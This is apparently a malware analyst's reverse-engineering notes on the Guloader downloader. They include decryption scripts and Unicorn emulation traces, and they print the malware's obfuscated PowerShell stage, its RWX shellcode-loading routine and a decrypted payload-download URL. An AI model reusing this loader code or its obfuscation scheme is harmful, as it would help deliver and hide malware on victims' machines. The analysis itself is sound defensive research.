Analysis

Stage 1

file_data = open('/tmp/stage1.bin','rb').read()
import struct

out = []
key = struct.pack('<I',0x919E1E2E)
code_offset = 0x0000014E 
enc_code = file_data[code_offset:]



for i in range(len(enc_code)):
    out.append(enc_code[i] ^ key[i % len(key)])

open('/tmp/stage2.bin','wb').write(bytes(out))

Stage 2

hex((0x96900857 + 0x10E451D0) ^ 0xAA6DFF89 ^ 0xD19A097)
hex((0x191AE730 ^ 0x320EB5D5 ^ 0xB8DB25E1) + 0x6C3088FC)
hex((0xE22ECFA7 ^ 0xD05F809C ^ 0x4E1C381C) - 0x7C6D76C6)
(0x1C90313A  ^ 0x0A3C51979 ^ 0x8A519DBE) - 0x3504B2FD
buff = bytes.fromhex('D8 E3 A9 5E AB')
buff2 = bytes.fromhex('b697cd32c7143eea5fb5fd3fa3dba8aaebe6226c89b9501c20806c888f58a2ba8ebc6b0a94e5bded795a2757109b8997d87e8080ee4aeb')

out = []
for i in range(len(buff2)):
    out.append(buff2[i] ^ buff[i % len(buff)])
    
bytes(out)
def xor_crypt(data, key):
    out = []
    for i in range(len(data)):
        out.append(data[i] ^ key[i % len(key)])
    return bytes(out)

xor_crypt(buff, buff2)
egg = xor_crypt(b'http', buff2)

print(egg.hex())

stage2_data = open('/tmp/stage2.bin','rb').read()

c2_offset = stage2_data.find(egg)

xor_crypt(stage2_data[c2_offset:c2_offset+100], buff2)
hex(len(b'http://bounceclick.live/VVB/COrg_RYGGqN229.bin'))

Guloader Deliver (PowerShell)

Sample

54976a776a08ddd4ab7cf1fb6b00c4a23f931f1a7d1d937922169ef3be7c9cae malshare

Overview

This sample also uses NSIS installer but instead of loading shellcode directly from the NSIS script they add an intermediate stage with PowerShell to further obfuscate the loader.

Analysis

Stage 1

Stage one is the NSIS script which is used to launch and obfuscated powershell script in the Soothsaying.For file. The script can be found on ghostbin here

Stage 2

The obfuscated powershell contains a 3rd stage obfuscated powershell command in a variable that is deobfuscated and launched. We circomvented this by replacing the IEX execute commands with Write-Output print statements.

Stage 3

The obfuscatd powershell 3rd stage contains multiple encrypted strings which we have decrypted below.

ps_data = '''
Function HTB {        param([String]$Humanmummy152);
        $Sprjtende = New-Object byte[] ($Humanmummy152.Length / 2);
        For($Stuphe=0; $Stuphe -lt $Humanmummy152.Length; $Stuphe+=2){                
            $Sprjtende[$Stuphe/2] = [convert]::ToByte($Humanmummy152.Substring($Stuphe, 2), 16);
            $Sprjtende[$Stuphe/2] = ($Sprjtende[$Stuphe/2] -bxor 141);
        }       [String][System.Text.Encoding]::ASCII.GetString($Sprjtende);
}$Fitchet0=HTB 'DEF4FEF9E8E0A3E9E1E1';
$Fitchet1=HTB 'C0E4EEFFE2FEE2EBF9A3DAE4E3BEBFA3D8E3FEECEBE8C3ECF9E4FBE8C0E8F9E5E2E9FE';
$Fitchet2=HTB 'CAE8F9DDFFE2EECCE9E9FFE8FEFE';
$Fitchet3=HTB 'DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C5ECE3E9E1E8DFE8EB';
$Fitchet4=HTB 'FEF9FFE4E3EA';
$Fitchet5=HTB 'CAE8F9C0E2E9F8E1E8C5ECE3E9E1E8';
$Fitchet6=HTB 'DFD9DEFDE8EEE4ECE1C3ECE0E8A1ADC5E4E9E8CFF4DEE4EAA1ADDDF8EFE1E4EE';
$Fitchet7=HTB 'DFF8E3F9E4E0E8A1ADC0ECE3ECEAE8E9';
$Fitchet8=HTB 'DFE8EBE1E8EEF9E8E9C9E8E1E8EAECF9E8';
$Fitchet9=HTB 'C4E3C0E8E0E2FFF4C0E2E9F8E1E8';
$udvalgsprocedure0=HTB 'C0F4C9E8E1E8EAECF9E8D9F4FDE8';
$udvalgsprocedure1=HTB 'CEE1ECFEFEA1ADDDF8EFE1E4EEA1ADDEE8ECE1E8E9A1ADCCE3FEE4CEE1ECFEFEA1ADCCF8F9E2CEE1ECFEFE';
$udvalgsprocedure2=HTB 'C4E3FBE2E6E8';
$udvalgsprocedure3=HTB 'DDF8EFE1E4EEA1ADC5E4E9E8CFF4DEE4EAA1ADC3E8FADEE1E2F9A1ADDBE4FFF9F8ECE1';
$udvalgsprocedure4=HTB 'DBE4FFF9F8ECE1CCE1E1E2EE';
$udvalgsprocedure5=HTB 'E3F9E9E1E1';
$udvalgsprocedure6=HTB 'C3F9DDFFE2F9E8EEF9DBE4FFF9F8ECE1C0E8E0E2FFF4';
$udvalgsprocedure7=HTB 'C4C8D5';
$udvalgsprocedure8=HTB 'D1';
Set-Alias -name udvalgsprocedure9 -value $udvalgsprocedure7;
function fkp {Param ($Ries, $Negeringsfunktionens)     ;
$Kabar0 =HTB 'A9D8E3ECEFE9E4EEECF9E4FBE8ADB0ADA5D6CCFDFDC9E2E0ECE4E3D0B7B7CEF8FFFFE8E3F9C9E2E0ECE4E3A3CAE8F9CCFEFEE8E0EFE1E4E8FEA5A4ADF1ADDAE5E8FFE8A0C2EFE7E8EEF9ADF6ADA9D2A3CAE1E2EFECE1CCFEFEE8E0EFE1F4CEECEEE5E8ADA0CCE3E9ADA9D2A3C1E2EEECF9E4E2E3A3DEFDE1E4F9A5A9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8B5A4D6A0BCD0A3C8FCF8ECE1FEA5A9CBE4F9EEE5E8F9BDA4ADF0A4A3CAE8F9D9F4FDE8A5A9CBE4F9EEE5E8F9BCA4';
udvalgsprocedure9 $Kabar0;
$Kabar5 = HTB 'A9DEFDE4E9FEE5ECE0E0E8FFE8FEADB0ADA9D8E3ECEFE9E4EEECF9E4FBE8A3CAE8F9C0E8F9E5E2E9A5A9CBE4F9EEE5E8F9BFA1ADD6D9F4FDE8D6D0D0ADCDA5A9CBE4F9EEE5E8F9BEA1ADA9CBE4F9EEE5E8F9B9A4A4';
udvalgsprocedure9 $Kabar5;
$Kabar1 = HTB 'FFE8F9F8FFE3ADA9DEFDE4E9FEE5ECE0E0E8FFE8FEA3C4E3FBE2E6E8A5A9E3F8E1E1A1ADCDA5D6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C5ECE3E9E1E8DFE8EBD0A5C3E8FAA0C2EFE7E8EEF9ADDEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C5ECE3E9E1E8DFE8EBA5A5C3E8FAA0C2EFE7E8EEF9ADC4E3F9DDF9FFA4A1ADA5A9D8E3ECEFE9E4EEECF9E4FBE8A3CAE8F9C0E8F9E5E2E9A5A9CBE4F9EEE5E8F9B8A4A4A3C4E3FBE2E6E8A5A9E3F8E1E1A1ADCDA5A9DFE4E8FEA4A4A4A4A1ADA9C3E8EAE8FFE4E3EAFEEBF8E3E6F9E4E2E3E8E3FEA4A4';
udvalgsprocedure9 $Kabar1;
}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Ambilaevous,[Parameter(Position = 1)] [Type] $Malmy = [Void]);
$Kabar2 = HTB 'A9CFE2FFE3E8E2ADB0ADD6CCFDFDC9E2E0ECE4E3D0B7B7CEF8FFFFE8E3F9C9E2E0ECE4E3A3C9E8EBE4E3E8C9F4E3ECE0E4EECCFEFEE8E0EFE1F4A5A5C3E8FAA0C2EFE7E8EEF9ADDEF4FEF9E8E0A3DFE8EBE1E8EEF9E4E2E3A3CCFEFEE8E0EFE1F4C3ECE0E8A5A9CBE4F9EEE5E8F9B5A4A4A1ADD6DEF4FEF9E8E0A3DFE8EBE1E8EEF9E4E2E3A3C8E0E4F9A3CCFEFEE8E0EFE1F4CFF8E4E1E9E8FFCCEEEEE8FEFED0B7B7DFF8E3A4A3C9E8EBE4E3E8C9F4E3ECE0E4EEC0E2E9F8E1E8A5A9CBE4F9EEE5E8F9B4A1ADA9EBECE1FEE8A4A3C9E8EBE4E3E8D9F4FDE8A5A9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BDA1ADA9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BCA1ADD6DEF4FEF9E8E0A3C0F8E1F9E4EEECFEF9C9E8E1E8EAECF9E8D0A4';
udvalgsprocedure9 $Kabar2;
$Kabar3 = HTB 'A9CFE2FFE3E8E2A3C9E8EBE4E3E8CEE2E3FEF9FFF8EEF9E2FFA5A9CBE4F9EEE5E8F9BBA1ADD6DEF4FEF9E8E0A3DFE8EBE1E8EEF9E4E2E3A3CEECE1E1E4E3EACEE2E3FBE8E3F9E4E2E3FED0B7B7DEF9ECE3E9ECFFE9A1ADA9CCE0EFE4E1ECE8FBE2F8FEA4A3DEE8F9C4E0FDE1E8E0E8E3F9ECF9E4E2E3CBE1ECEAFEA5A9CBE4F9EEE5E8F9BAA4';
udvalgsprocedure9 $Kabar3;
$Kabar4 = HTB 'A9CFE2FFE3E8E2A3C9E8EBE4E3E8C0E8F9E5E2E9A5A9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BFA1ADA9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8BEA1ADA9C0ECE1E0F4A1ADA9CCE0EFE4E1ECE8FBE2F8FEA4A3DEE8F9C4E0FDE1E8E0E8E3F9ECF9E4E2E3CBE1ECEAFEA5A9CBE4F9EEE5E8F9BAA4';
udvalgsprocedure9 $Kabar4;
$Kabar5 = HTB 'FFE8F9F8FFE3ADA9CFE2FFE3E8E2A3CEFFE8ECF9E8D9F4FDE8A5A4';
udvalgsprocedure9 $Kabar5   ;
}$Nonperforated = HTB 'E6E8FFE3E8E1BEBF';
$Brndselsforbrug = HTB 'F8FEE8FFBEBF';
$Sottishness03 = HTB 'CAE8F9CEE2E3FEE2E1E8DAE4E3E9E2FA';
$Sottishness00=HTB 'DEE5E2FADAE4E3E9E2FA';
$Kabar6 = HTB 'A9E7E2FFE9EBE2FFE9E8E1E4E3EAE8FFE3E8FEADB0ADD6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C0ECFFFEE5ECE1D0B7B7CAE8F9C9E8E1E8EAECF9E8CBE2FFCBF8E3EEF9E4E2E3DDE2E4E3F9E8FFA5A5EBE6FDADA9C3E2E3FDE8FFEBE2FFECF9E8E9ADA9F8E9FBECE1EAFEFDFFE2EEE8E9F8FFE8B9A4A1ADA5CAC9D9ADCDA5D6C4E3F9DDF9FFD0A1ADD6D8C4E3F9BEBFD0A1ADD6D8C4E3F9BEBFD0A1ADD6D8C4E3F9BEBFD0A4ADA5D6C4E3F9DDF9FFD0A4A4A4';
udvalgsprocedure9 $Kabar6;
$Sottishness01 = HTB 'A9E3E2E3E9E4FDF9E8FFE2F8FEADB0ADD6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C0ECFFFEE5ECE1D0B7B7CAE8F9C9E8E1E8EAECF9E8CBE2FFCBF8E3EEF9E4E2E3DDE2E4E3F9E8FFA5A5EBE6FDADA9CFFFE3E9FEE8E1FEEBE2FFEFFFF8EAADA9DEE2F9F9E4FEE5E3E8FEFEBDBDA4A1ADA5CAC9D9ADCDA5D6C4E3F9DDF9FFD0A1ADD6D8C4E3F9BEBFD0A4ADA5D6C4E3F9DDF9FFD0A4A4A4';
udvalgsprocedure9 $Sottishness01;
$Sottishness02 = HTB 'A9C9E2FAE3EEFFE4E8E9ADB0ADD6DEF4FEF9E8E0A3DFF8E3F9E4E0E8A3C4E3F9E8FFE2FDDEE8FFFBE4EEE8FEA3C0ECFFFEE5ECE1D0B7B7CAE8F9C9E8E1E8EAECF9E8CBE2FFCBF8E3EEF9E4E2E3DDE2E4E3F9E8FFA5A5EBE6FDADA9C3E2E3FDE8FFEBE2FFECF9E8E9ADA9DEE2F9F9E4FEE5E3E8FEFEBDBEA4A1ADA5CAC9D9ADCDA5D6C4E3F9DDF9FFD0A4ADA5D6C4E3F9DDF9FFD0A4A4A4';
udvalgsprocedure9 $Sottishness02;
$Kabar7 = HTB 'A9D8E3EEF8E1F9E4FBECEFE1E8ADB0ADA9C9E2FAE3EEFFE4E8E9A3C4E3FBE2E6E8A5BDA4';
udvalgsprocedure9 $Kabar7;
$Kabar7 = HTB 'A9E3E2E3E9E4FDF9E8FFE2F8FEA3C4E3FBE2E6E8A5A9D8E3EEF8E1F9E4FBECEFE1E8A1ADBDA4';
udvalgsprocedure9 $Kabar7;
$Sottishness04 = fkp $udvalgsprocedure5 $udvalgsprocedure6;
$Kabar7 = HTB 'A9CEECFEF8E4FEF9E4EEECE1E1F4BEADB0ADA9E7E2FFE9EBE2FFE9E8E1E4E3EAE8FFE3E8FEA3C4E3FBE2E6E8A5D6C4E3F9DDF9FFD0B7B7D7E8FFE2A1ADBEBCBBA1ADBDF5BEBDBDBDA1ADBDF5B9BDA4';
udvalgsprocedure9 $Kabar7;
$Kabar8 = HTB 'A9D8E3FEECE4E3F9E1E4E3E8FEFEADB0ADA9E7E2FFE9EBE2FFE9E8E1E4E3EAE8FFE3E8FEA3C4E3FBE2E6E8A5D6C4E3F9DDF9FFD0B7B7D7E8FFE2A1ADBDF5BCBDBDBDBDBDA1ADBDF5BEBDBDBDA1ADBDF5B9A4';
udvalgsprocedure9 $Kabar8;
$Casuistically2="rgmlfaelooallpmlvlnvuislrreellesglrrslrndsrfooorrtyvenaudpoubrpdgaaaslraoddernnoanlergpaeyeefaonoaiitiiuahhglkkaedazrrafrecrcieennipurralanidnkeueraeapeaoaoeofrreevlrxuutefyinuireraanslealiieaaodrrclieeiuauraorreeoeboeojjluricahanieasaneueuaeleohnmriarlioaaegtralioleraonearouvoieobohrveneeaafodeiiitinotdieieplaleeideoooeaaorrntiaiaotopnehekeatlriovaaadlnaoionauitinuaalnrevioeeetspnleeenoloeeeouuinrpuaijojoaovaoarroyopoaynupnoamouamsmpdundpuoinruuraroyanrsenifeaeuopernoeiilauhcricaokcarodvoorbaioelcloauemaauuijtlrrrntaarreaoutneayenpkrwieeokenleioeerkoseeouapauunoleydriakeaexaneeupiuhaiovantesneoeuaaaigyokhieoiroarueivuoetnliisnunyeiaupogylhieetuaoutejdioleakriiaaeheaictaeuaeonutlexseosfkoaeeepknkrnpueeaoeiuamyhvenpluoymohaauoiyaostiuindklaeyapeayloaoaasnyehoorerpeevraooiietoaaeeooieloiirsayadnaeaaaiftrooidvalauieaeearnonaevuuyaerelkoaduecoayonsaroieueiaiiovunriisolkosuaaroeayiuoiiaureeyatdnureafnnaevhnhaitlryrrkupuofbmrrpiunnuakarkalohnuoudeyriegnrdejivnonnnkevruugeoeleoanalahsaoylapenujpiueemiieuludkudeeesloreieeleiaarlaohvnouarurlveurrorumetnvnpruinnhremoleiikooialteieersidbpigneuoprloelyvooyavennipaaiepafenokaeiaeraeteiweoevgakrouaktatilsunqleoefnugiaevaeamnuarnoiinelr"
'''
import re

def decrypt(data,key):
    tmp_data = bytes.fromhex(data)
    out = []
    for c in tmp_data:
        out.append(c ^ key)
    return bytes(out)


egg = r"HTB '([^']*)'"

str_map = {}

for m in re.finditer(egg, ps_data):
    data = m.group(1)
    ptxt_data = decrypt(data, 141)
    str_map[m.group()] = ptxt_data.decode('utf-8')

for k in str_map:
    ps_data = ps_data.replace(k,"'" + str_map[k] + "'")

print(ps_data)

Shellcode Loader

Once the strings have been decrypted it is clear that the powershell is used to read shellcode from the Semiskilled.Slv file. This code is split at 0x400 and 0x53c and copied into two allocated buffers. The first buffer is then called and the second buffer passed as an argument along with a pointer to NtProtectVirtualMemory.

$Buffer1_RWX = $VirtualAlloc.Invoke([IntPtr]::Zero, 316, 0x3000, PAGE_EXECUTE_READWRITE) $Buffer2_RW = $VirtualAlloc.Invoke([IntPtr]::Zero, 0x100000, 0x3000, PAGE_READWRITE) $ShellCode = [System.IO.File]::ReadAllBytes('$env:LOCALAPPDATA\Ecphorize\Gonocoele\Semiskilled.Slv') [System.Runtime.InteropServices.Marshal]::Copy($ShellCode, 1024, $Buffer1_RWX , 316) [System.Runtime.InteropServices.Marshal]::Copy($ShellCode, 316+1024, $Buffer2_RW , $ShellCode.count-316-1024) $ShellCodeEntry = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($Buffer1_RWX , (GDT @([IntPtr],[IntPtr]) ([Void]))) $ShellCodeEntry.Invoke($Buffer2_RW , fkp ntdll NtProtectVirtualMemory)

Guloader Shellcode Stage 1

The first stage of the shellcode has heavy obfuscation but it is a simple loader and decryptor used to decrypt the buffer that is passed as an argument from the PowerShells script. The decryption is an XOR with the key 0xA980E98A.

void __usercall sub_0(int a1@<ebp>, void (*a2)(void), int a3)
{
  int v3; // ebp
  void (__stdcall *v4)(int, int, int, int, int); // edx
  int v5; // esi
  int v6; // ecx
  int i; // eax

  v3 = a1 - 768;
  *(_DWORD *)(v3 + 256) = 0x100000;
  *(_DWORD *)(v3 + 260) = a2;
  v4 = (void (__stdcall *)(int, int, int, int, int))(a3 + 5);
  v5 = 0;
  v6 = 0;
  while ( 1 )
  {
    do
      ++v6;
    while ( *(_DWORD *)((char *)v4 + v6) != *(_DWORD *)(a3 + 5) );
    ++v5;
    if ( *(_BYTE *)(a3 + v6) == 0xB8 )
    {
      v4(-1, v3 + 260, v3 + 256, 64, v3 + 156);
      for ( i = 0; i != 0x29B28; i += 4 )
        *(_DWORD *)((char *)a2 + i) ^= 0xA980E98A;
      a2();
      JUMPOUT(0x13C);
    }
  }
}

Guloader Shellcode Stage 2

The second stage shellcode is a version of the main guloader stage2 shellcode. Some of the same functions exist in this shellcode as the original shellcode we analyzed above.

SHA256 = E3A8356689B97653261EA6B75CA911BC65F523025F15649E87B1AEF0071AE107 malshare

key_len = 44

key = bytes.fromhex('3d4f0b6d845f58cbf8844e9ab35781156c68109175e8c42901f8ee2b78c4926631939c778b2a48e0d8ea0dd585')
def xor_crypt(data, key):
    out = []
    for i in range(len(data)):
        out.append(data[i] ^ key[i % len(key)])
    return bytes(out)

egg = xor_crypt(b'http', key)

print(egg.hex())

stage2_data = open('/tmp/Semiskilled.Slv_shellcode_stage_2_patched.bin','rb').read()

c2_offset = stage2_data.find(egg)
print(c2_offset)

xor_crypt(stage2_data[c2_offset:c2_offset+100], key)
553b7f1d
-1
b''
data = bytes.fromhex('48 4F 78 6D E1 5F 2A CB CB 84 7C 9A')
xor_crypt(data, key).replace(b'\x00',b'')
b'user32'

VEH Program Flow Redirection

As described in both the CrowdStrike and Unit42 blogs Guloader uses an VEH to both do some anti-debugging checks and redirect the program flow.

The way this works is the VEH redirects EIP using a decoding routing based on byte the follows the INT3 (cc) instruction which caused the excpetion. In the code jmp instructions have been replaced with INT3 and an encoded byte. There is a nice IDA Python plugin from Unit42 that will automatically replace the INT3 code with JMPs. ** Remember you need to update the XOR byte in the plugin for the version of guloader you are analyzing.

String Decryption

from ctypes import *
import unicorn as uc
import struct

# This is just to print each instruction address as it's emulated
def hook_call(uc_engine, mem_type, address, size):
    eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
    print(f"EIP: {hex(eip-0x10000)}")
    return True


buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()

uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000

# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)

# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)

# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)


# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_CODE, hook_call, None)

# Setup our arguments/buffers

EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)

# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))


EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)


ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))

FN_START = 0X08A55 + CODE_ADDR
FN_END = 0x08D3F + CODE_ADDR

uc_engine.emu_start(FN_START, FN_END, 0, 0)

#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
EIP: 0x8a55
EIP: 0x8a57
EIP: 0x8a59
EIP: 0x8a5d
EIP: 0x8a63
EIP: 0x8a69
EIP: 0x8a6f
EIP: 0x8a75
EIP: 0x8a77
EIP: 0x8a7d
EIP: 0x8a80
EIP: 0x8a85
EIP: 0x8a8b
EIP: 0x8a8d
EIP: 0x8a90
EIP: 0x8a96
EIP: 0x8a98
EIP: 0x8a9e
EIP: 0x8aa0
EIP: 0x8aa2
EIP: 0x8aa8
EIP: 0x8aae
EIP: 0x8ab4
EIP: 0x8b0e
EIP: 0x8b11
EIP: 0x8b17
EIP: 0x8b19
EIP: 0x8b1f
EIP: 0x8b21
EIP: 0x8b27
EIP: 0x8b2d
EIP: 0x8b30
EIP: 0x8b35
EIP: 0x8b39
EIP: 0x8b3b
EIP: 0x8b40
EIP: 0x8b45
EIP: 0x8b47
EIP: 0x8b4c
EIP: 0x8b4e
EIP: 0x8b54
EIP: 0x8b56
EIP: 0x8b96
EIP: 0x8b9c
EIP: 0x8ba2
EIP: 0x8ba8
EIP: 0x8baa
EIP: 0x8bb0
EIP: 0x8bb2
EIP: 0x8bb5
EIP: 0x8bbb
EIP: 0x8bbd
EIP: 0x8bc3
EIP: 0x8bc9
EIP: 0x8bcc
EIP: 0x8bce
EIP: 0x8bd4
EIP: 0x8bd6
EIP: 0x8bdc
EIP: 0x8be2
EIP: 0x8be8
EIP: 0x8bf2
EIP: 0x8bf4
EIP: 0x8bf7
EIP: 0x8c01
EIP: 0x8c0b
EIP: 0x8c0d
EIP: 0x8c10
EIP: 0x8c1a
EIP: 0x8c1c
EIP: 0x8c1e
EIP: 0x8c1f
EIP: 0x8c25
EIP: 0x8c1e
EIP: 0x8c1f
EIP: 0x8c25
EIP: 0x8c1e
EIP: 0x8c1f
EIP: 0x8c25
EIP: 0x8c27
EIP: 0x8c28
EIP: 0x8c2e
EIP: 0x8c34
EIP: 0x8c36
EIP: 0x8c3c
EIP: 0x8c3e
EIP: 0x8c40
EIP: 0x8c46
EIP: 0x8c4c
EIP: 0x8c56
EIP: 0x8c58
EIP: 0x8c62
EIP: 0x8c6c
EIP: 0x8c6e
EIP: 0x8c78
EIP: 0x8c7b
EIP: 0x8c7e
EIP: 0x8c7f
EIP: 0x8c85
EIP: 0x8c7b
EIP: 0x8c7e
EIP: 0x8c7f
EIP: 0x8c85
EIP: 0x8c7b
EIP: 0x8c7e
EIP: 0x8c7f
EIP: 0x8c85
EIP: 0x8c87
EIP: 0x8c88
EIP: 0x8cda
EIP: 0x8cdc
EIP: 0x8ce2
EIP: 0x8ce3
EIP: 0x8ce5
EIP: 0x8ceb
EIP: 0x8ced
EIP: 0x8cf3
EIP: 0x8cf5
EIP: 0x8cf7
EIP: 0x8cfd
EIP: 0x8d03
EIP: 0x8d0d
EIP: 0x8d0f
EIP: 0x8d19
EIP: 0x8d23
EIP: 0x8d2d
EIP: 0x8d2f
EIP: 0x8d32
EIP: 0x8d33
EIP: 0x8d39
EIP: 0x8d2f
EIP: 0x8d32
EIP: 0x8d33
EIP: 0x8d39
EIP: 0x8d2f
EIP: 0x8d32
EIP: 0x8d33
EIP: 0x8d39
EIP: 0x8d3b
EIP: 0x8d3c
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)

data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
print(data)
bytearray(b'n\x00M9\xd3\x1e\n\x8e\xa4\xc5>\xea\xf76\xf5t \x07g\xcd')
xor_crypt(data, key)
b'SOFTWARE\\AppDataLow\\'
from ctypes import *
import unicorn as uc
import struct

# This is just to print each instruction address as it's emulated
def hook_call(uc_engine, mem_type, address, size):
    eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
    pretty_eip = hex(eip-0x10000)
    print(f"EIP: {pretty_eip}")
    test = uc_engine.mem_read(eip, 2)
    if test[0] == 0xcc:
        print(f"Breakpoint detected at {pretty_eip}")
        new_eip = (test[1] ^ 0x8F) + eip
        uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, new_eip)
    return True

buf = open('/tmp/Guloader_stage_2.bin', 'rb').read()

uc_engine = uc.Uc(uc.UC_ARCH_X86, uc.UC_MODE_32)
STACK_ADDR = 0x900000
CODE_ADDR = 0x10000

# Load shellcode into mem
uc_engine.mem_map(CODE_ADDR, 0x300000, uc.UC_PROT_ALL)
uc_engine.mem_write(CODE_ADDR, buf)

# Set shellcode entrypoint
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EIP, CODE_ADDR)

# Setup the stack memory
uc_engine.mem_map(STACK_ADDR - 0x100000, 0x200000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_ESP, STACK_ADDR)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EBP, STACK_ADDR)


# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_CODE, hook_call, None)


# Setup our arguments/buffers

EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)

# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))


EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)


ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))

FN_START = 0x00017571  + CODE_ADDR
FN_END = 0x0017A11 + CODE_ADDR

uc_engine.emu_start(FN_START, FN_END, 0, 0)

#out_eip = uc_engine.reg_read(uc.x86_const.UC_X86_REG_EIP)
EIP: 0x17571
Breakpoint detected at 0x17571
EIP: 0x17580
EIP: 0x17584
Breakpoint detected at 0x17584
EIP: 0x1758d
EIP: 0x17593
Breakpoint detected at 0x17593
EIP: 0x17598
EIP: 0x1759e
Breakpoint detected at 0x1759e
EIP: 0x175a4
EIP: 0x175aa
Breakpoint detected at 0x175aa
EIP: 0x175ae
EIP: 0x175b4
Breakpoint detected at 0x175b4
EIP: 0x175c3
EIP: 0x175cd
EIP: 0x175d7
Breakpoint detected at 0x175d7
EIP: 0x175e8
Breakpoint detected at 0x175e8
EIP: 0x175fc
EIP: 0x17606
EIP: 0x17610
Breakpoint detected at 0x17610
EIP: 0x17617
Breakpoint detected at 0x17617
EIP: 0x1761d
EIP: 0x1761e
EIP: 0x17624
EIP: 0x17617
Breakpoint detected at 0x17617
EIP: 0x1761d
EIP: 0x1761e
EIP: 0x17624
EIP: 0x17617
Breakpoint detected at 0x17617
EIP: 0x1761d
EIP: 0x1761e
EIP: 0x17624
EIP: 0x17626
Breakpoint detected at 0x17626
EIP: 0x17634
EIP: 0x17635
Breakpoint detected at 0x17635
EIP: 0x17641
EIP: 0x17647
Breakpoint detected at 0x17647
EIP: 0x17653
EIP: 0x17659
Breakpoint detected at 0x17659
EIP: 0x17661
Breakpoint detected at 0x17661
EIP: 0x17665
EIP: 0x1766b
EIP: 0x17671
Breakpoint detected at 0x17671
EIP: 0x17678
Breakpoint detected at 0x17678
EIP: 0x17686
Breakpoint detected at 0x17686
EIP: 0x1768e
EIP: 0x17694
Breakpoint detected at 0x17694
EIP: 0x176a2
EIP: 0x176a7
Breakpoint detected at 0x176a7
EIP: 0x176ad
EIP: 0x176b3
Breakpoint detected at 0x176b3
EIP: 0x176c1
EIP: 0x176c7
Breakpoint detected at 0x176c7
EIP: 0x176db
EIP: 0x176e1
EIP: 0x1772b
Breakpoint detected at 0x1772b
EIP: 0x17734
EIP: 0x17736
EIP: 0x1773c
Breakpoint detected at 0x1773c
EIP: 0x17744
Breakpoint detected at 0x17744
EIP: 0x1774e
EIP: 0x17754
Breakpoint detected at 0x17754
EIP: 0x1775e
EIP: 0x17764
Breakpoint detected at 0x17764
EIP: 0x17775
EIP: 0x1777b
EIP: 0x17781
Breakpoint detected at 0x17781
EIP: 0x17785
EIP: 0x1778f
Breakpoint detected at 0x1778f
EIP: 0x17798
EIP: 0x177a2
Breakpoint detected at 0x177a2
EIP: 0x177b4
EIP: 0x177be
EIP: 0x177c8
EIP: 0x177c9
EIP: 0x177cf
EIP: 0x177c8
EIP: 0x177c9
EIP: 0x177cf
EIP: 0x177c8
EIP: 0x177c9
EIP: 0x177cf
EIP: 0x177d1
Breakpoint detected at 0x177d1
EIP: 0x177e6
EIP: 0x177e7
